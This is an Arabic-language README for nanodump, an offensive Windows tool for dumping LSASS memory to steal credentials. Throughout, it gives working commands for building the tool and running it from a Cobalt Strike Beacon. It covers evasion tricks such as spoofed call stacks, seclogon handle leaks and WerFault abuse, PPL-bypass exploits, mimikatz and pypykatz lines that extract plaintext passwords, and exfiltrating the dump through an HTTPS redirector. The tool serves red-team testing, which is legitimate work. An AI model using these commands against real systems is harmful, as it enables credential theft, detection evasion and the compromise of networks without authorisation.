
سكين الجيش السويسري لـ LSASS dumping
أداة مرنة تقوم بإنشاء minidump لعملية LSASS.

usage: Z:\nanodump.x64.exe [--write C:\Windows\Temp\doc.docx] [--valid] [--duplicate] [--elevate-handle] [--duplicate-elevate] [--seclogon-leak-local] [--seclogon-leak-remote C:\Windows\notepad.exe] [--seclogon-duplicate] [--spoof-callstack] [--silent-process-exit C:\Windows\Temp] [--shtinkering] [--fork] [--snapshot] [--getpid] [--help]
Dumpfile options:
--write DUMP_PATH, -w DUMP_PATH
filename of the dump
--valid, -v
create a dump with a valid signature
Obtain an LSASS handle via:
--duplicate, -d
duplicate a high privileged existing LSASS handle
--duplicate-elevate, -de
duplicate a low privileged existing LSASS handle and then elevate it
--seclogon-leak-local, -sll
leak an LSASS handle into nanodump via seclogon
--seclogon-leak-remote BIN_PATH, -slt BIN_PATH
leak an LSASS handle into another process via seclogon and duplicate it
--seclogon-duplicate, -sd
make seclogon open a handle to LSASS and duplicate it
--spoof-callstack, -sc
open a handle to LSASS using a fake calling stack
Let WerFault.exe (instead of nanodump) create the dump
--silent-process-exit DUMP_FOLDER, -spe DUMP_FOLDER
force WerFault.exe to dump LSASS via SilentProcessExit
--shtinkering, -sk
force WerFault.exe to dump LSASS via Shtinkering
Avoid reading LSASS directly:
--fork, -f
fork the target process before dumping
--snapshot, -s
snapshot the target process before dumping
Avoid opening a handle with high privileges:
--elevate-handle, -eh
open a handle to LSASS with low privileges and duplicate it to gain higher privileges
Miscellaneous:
--getpid
print the PID of LSASS and leave
--chunk-size
chunk size in KiB used to exfiltrate the dump without touching disk (default 900)
Help:
--help, -h
print this help message and leave
git clone https://github.com/fortra/nanodump.git
على Linux باستخدام MinGW
make -f Makefile.mingw
على Windows باستخدام MSVC (لا يدعم BOF)
nmake -f Makefile.msvc
قم باستيراد البرنامج النصي NanoDump.cna على Cobalt Strike.
قم بتشغيل الأمر nanodump في وحدة التحكم Beacon أو الملف الثنائي nanodump.x64.exe.
إذا لم تحدد العلامة --valid، فستحتاج إلى استعادة التوقيع غير الصالح
scripts/restore_signature <dumpfile>
mimikatz:
للحصول على الأسرار، قم بتشغيل:
mimikatz.exe "sekurlsa::minidump <dumpfile>" "sekurlsa::logonPasswords full" exit
pypykatz:
إذا كنت تفضل البقاء على Linux، يمكنك استخدام نسخة python3 من mimikatz المسماة pypykatz:
python3 -m pypykatz lsa minidump <dumpfie>
لتجنب فتح مقبض (handle) إلى LSASS باستخدام PROCESS_VM_READ، يمكنك استخدام المعامل --fork.
سيؤدي هذا إلى جعل nanodump ينشئ مقبضًا إلى LSASS بصلاحية PROCESS_CREATE_PROCESS ثم يقوم بإنشاء 'نسخة' من العملية. سيتم بعد ذلك تفريغ (dump) هذه العملية الجديدة. بينما سيؤدي هذا إلى إنشاء عملية وحذفها، فإنه يلغي الحاجة إلى قراءة LSASS مباشرة.
على غرار خيار --fork، يمكنك استخدام --snapshot لإنشاء لقطة (snapshot) من عملية LSASS.
سيؤدي هذا إلى جعل nanodump ينشئ مقبضًا إلى LSASS بصلاحية PROCESS_CREATE_PROCESS ثم يقوم بإنشاء لقطة للعملية باستخدام PssNtCaptureSnapshot. سيتم بعد ذلك تفريغ هذه العملية الجديدة. سيتم تحرير اللقطة تلقائيًا عند الانتهاء.
نظرًا لأن فتح مقبض إلى LSASS يمكن اكتشافه، يمكن لـ nanodump بدلاً من ذلك البحث عن مقابض موجودة بالفعل لـ LSASS.
إذا تم العثور على واحد، فسوف يقوم بنسخه واستخدامه لإنشاء minidump.
لاحظ أنه ليس مضمونًا العثور على مثل هذا المقبض.
يمكنك الحصول على مقبض إلى LSASS مع PROCESS_QUERY_LIMITED_INFORMATION، والذي من المحتمل أن يكون مدرجًا في القائمة البيضاء، ثم رفع صلاحية ذلك المقبض عن طريق ازدواجه.
لتجنب فتح مقبض إلى LSASS، يمكنك إساءة استخدام خدمة seclogon عن طريق استدعاء CreateProcessWithLogonW لتسريب مقبض LSASS إلى الملف الثنائي nanodump.
لتمكين هذه الميزة، استخدم المعامل --seclogon-leak-local.
ضع في اعتبارك أنه عند الاستخدام من Cobalt Strike، يجب كتابة ملف ثنائي nanodump غير موقع على القرص لاستخدام هذه الميزة.
هذه التقنية مشابهة جدًا للتقنية السابقة، ولكن بدلاً من تسريب المقبض إلى nanodump، يتم تسريبه إلى ملف ثنائي آخر ثم ازدواجه حتى يتمكن nanodump من استخدامه.
استخدم العلامة --seclogon-leak-remote للوصول إلى هذه الوظيفة.
يمكنك خداع عملية seclogon لفتح مقبض إلى LSASS وازدواجه قبل إغلاقه، وذلك بالفوز بسباق حالة باستخدام أقفال الملفات.
استخدم العلامة --seclogon-duplicate للوصول إلى هذه الوظيفة.
يمكنك تحميل nanodump كـ SSP في LSASS لتجنب فتح مقبض.
عندما يتم تحميل DLL في LSASS، سيتم تمرير المعلمات عبر named pipe وبمجرد اكتمال التفريغ، سيعيد DllMain القيمة FALSE لجعل LSASS يقوم بإلغاء تحميل DLL النانودمب.
يمكنك تضمين المعلمات بشكل ثابت (hardcode) في DLL وتجنب استخدام named pipe تمامًا باستخدام علامة المترجم PASS_PARAMS_VIA_NAMED_PIPES=0.
افتراضيًا، سيتم رفع DLL غير موقع لـ nanodump إلى مجلد Temp وسيتم حذفه تلقائيًا.
beacon> nanodump_ssp -v -w C:\Windows\Temp\lsass.dmp
إذا كنت ترغب في تحميل DLL موجود مسبقًا، يمكنك تشغيل:
beacon> nanodump_ssp -v -w C:\Windows\Temp\lsass.dmp --load-dll C:\Windows\Temp\ssp.dll
إذا كان LSASS يعمل كعملية محمية خفيفة (PPL)، يمكنك محاولة تجاوزها باستخدام استغلال (exploit) على مستوى المستخدم اكتشفه Project Zero. إذا كان ناجحًا، سيتم كتابة التفريغ على القرص.
لاحظ أن هذه الثغرة قد تم إصلاحها في حزمة تحديث يوليو 2022 (Windows 10 21H2 Build 19044.1826)
للوصول إلى هذه الميزة، استخدم الأمر nanodump_ppl_dump
beacon> nanodump_ppl_dump -v -w C:\Windows\Temp\lsass.dmp
يقوم Nanodump أيضًا بتنفيذ استغلال PPLMedic، الذي يعمل على الأنظمة التي تحتوي على حزمة تحديث يوليو 2022.
سيتم تمرير المعلمات إلى DLL النانودمب عبر named pipe. يمكنك تضمين المعلمات بشكل ثابت في DLL وتجنب استخدام named pipe تمامًا باستخدام علامة المترجم PASS_PARAMS_VIA_NAMED_PIPES=0.
للوصول إلى هذه الميزة، استخدم الأمر nanodump_ppl_medic
beacon> nanodump_ppl_medic -v -w C:\Windows\Temp\lsass.dmp
يمكنك إجبار عملية WerFault.exe على إنشاء تفريغ ذاكرة كامل لـ LSASS. ضع في اعتبارك أن هذا يتطلب القدرة على الكتابة إلى السجل (registry)
نظرًا لأن التفريغ لا يتم بواسطة nanodump، فسيكون له دائمًا توقيع صالح.
لاستخدام تقنية خروج العملية الصامت، استخدم المعامل --silent-process-exit والمسار الذي يجب إنشاء التفريغ فيه.
beacon> nanodump --silent-process-exit C:\Windows\Temp\
سيتم أيضًا إنشاء تفريغ لعملية nanodump، مشابه لهذا:
PS C:\> dir 'C:\Windows\Temp\lsass.exe-(PID-648)-4035593\'
Directory: C:\Windows\Temp\lsass.exe-(PID-648)-4035593
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 6/23/2022 7:40 AM 58830409 lsass.exe-(PID-648).dmp
-a---- 6/23/2022 7:40 AM 7862825 nanodump.x64.exe-(PID-3224).dmp
يمكنك أيضًا استخدام تقنية Shtinkering، والتي تتطلب تشغيل nanodump تحت حساب SYSTEM:
beacon> nanodump --shtinkering
سيتم إنشاء التفريغ عادةً تحت C:\Windows\system32\config\systemprofile\AppData\Local\CrashDumps
يمكنك فتح مقبض إلى LSASS باستخدام مكدس استدعاء مزيف لجعل استدعاء الدالة يبدو أكثر شرعية (خاصة إذا تم تشغيله كـ BOF).
للوصول إلى هذه الميزة، استخدم المعامل --spoof-callstack.
يمكنك الجمع بين العديد من التقنيات لتخصيص كيفية عمل nanodump.
يشير الجدول التالي إلى العلامات التي يمكن استخدامها معًا.
قراءة LSASS بشكل غير مباشر عن طريق إنشاء fork وكتابة التفريغ إلى القرص بتوقيع غير صالح:
beacon> nanodump --fork --write C:\lsass.dmp
استخدم تسرب seclogon عن بعد لتسريب مقبض LSASS في عملية notepad، وازدواج ذلك المقبض للحصول على وصول إلى LSASS، ثم قراءته بشكل غير مباشر عن طريق إنشاء fork وتنزيل التفريغ بتوقيع صالح:
beacon> nanodump --seclogon-leak-remote C:\Windows\notepad.exe --fork --valid
الحصول على مقبض باستخدام تسرب seclogon محليًا، وقراءة LSASS بشكل غير مباشر باستخدام fork وكتابة التفريغ إلى القرص بتوقيع صالح (سيتم رفع ملف ثنائي nanodump!):
beacon> nanodump --seclogon-leak-local --fork --valid --write C:\Windows\Temp\lsass.dmp
تنزيل التفريغ بتوقيع غير صالح (الافتراضي):
beacon> nanodump
ازدواج مقبض موجود وكتابة التفريغ إلى القرص بتوقيع غير صالح:
beacon> nanodump --duplicate --write C:\Windows\Temp\report.docx
الحصول على PID الخاص بـ LSASS:
beacon> nanodump --getpid
تحميل nanodump في LSASS كـ SSP (سيتم رفع ملف ثنائي nanodump!):
beacon> nanodump_ssp -w C:\Windows\Temp\lsass.dmp
تفريغ LSASS مع تجاوز PPL باستخدام استغلال PPLDump، وازدواج المقبض الذي تمتلكه csrss.exe على LSASS:
beacon> nanodump_ppl_dump --duplicate --write C:\Windows\Temp\lsass.dmp
تفريغ LSASS مع تجاوز PPL باستخدام استغلال PPLMedic، وفتح مقبض منخفض الصلاحية إلى LSASS ثم رفع صلاحيته:
beacon> nanodump_ppl_medic --elevate-handle --write C:\Windows\Temp\lsass.dmp
خداع seclogon لفتح مقبض إلى LSASS وازدواجه، ثم تنزيل التفريغ بتوقيع غير صالح:
beacon> nanodump --seclogon-duplicate
جعل عملية WerFault.exe تنشئ تفريغ ذاكرة كامل في مجلد Temp:
beacon> nanodump --werfault C:\Windows\Temp\
فتح مقبض إلى LSASS باستخدام مكدس استدعاء مزيف وتنزيل minidump بتوقيع غير صالح:
beacon> nanodump --spoof-callstack
استخدام تقنية Shtinkering:
beacon> nanodump --shtinkering
الحصول على مقبض باستخدام تسرب seclogon محليًا وإنشاء التفريغ باستخدام تقنية Shtinkering:
beacon> nanodump --seclogon-leak-local --shtinkering
الحصول على مقبض بصلاحيات منخفضة ورفع صلاحيته باستخدام elevate handle:
beacon> nanodump --elevate-handle
الحصول على مقبض بصلاحيات منخفضة باستخدام مكدس استدعاء مزيف ورفع صلاحيته باستخدام elevate handle:
beacon> nanodump --elevate-handle --spoof-callstack
ازدواج مقبض منخفض الصلاحية موجود ورفع صلاحيته باستخدام elevate handle:
beacon> nanodump --duplicate-elevate
إذا كنت تستخدم معيد توجيه HTTPS (كما ينبغي)، فقد تواجه مشكلات عند تنزيل التفريغ بدون ملف بسبب حجم الطلبات التي تسرب التفريغ.
قم بزيادة الحد الأقصى لحجم الطلبات على خادم الويب الخاص بك للسماح لـ nanodump بتنزيل التفريغ.
location ~ ^...$ {
...
client_max_body_size 50M;
}
<Directory "...">
LimitRequestBody 52428800
</Directory>
| --write | --valid | --duplicate | --elevate-handle | --duplicate-elevate | --seclogon-leak-local | --seclogon-leak-remote | --seclogon-duplicate | --spoof-callstack | --silent-process-exit | --shtinkering | --fork | --snapshot | SSP | PPL_DUMP | PPL_MEDIC |
|---|
| --write | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | |||
| --valid | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | |||
| --duplicate | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | |||||||||
| --elevate-handle | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ||||||||
| --duplicate-elevate | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ||||||||||
| --seclogon-leak-local | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ||||||||||
| --seclogon-leak-remote | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ||||||||||
| --seclogon-duplicate | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ||||||||||
| --spoof-callstack | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | |||||||||
| --silent-process-exit | ✓ | |||||||||||||||
| --shtinkering | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ||||||||
| --fork | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ||||||
| --snapshot | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ||||||
| SSP | ✓ | |||||||||||||||
| PPL_DUMP | ✓ | ✓ | ✓ | ✓ | ||||||||||||
| PPL_MEDIC | ✓ | ✓ | ✓ | ✓ |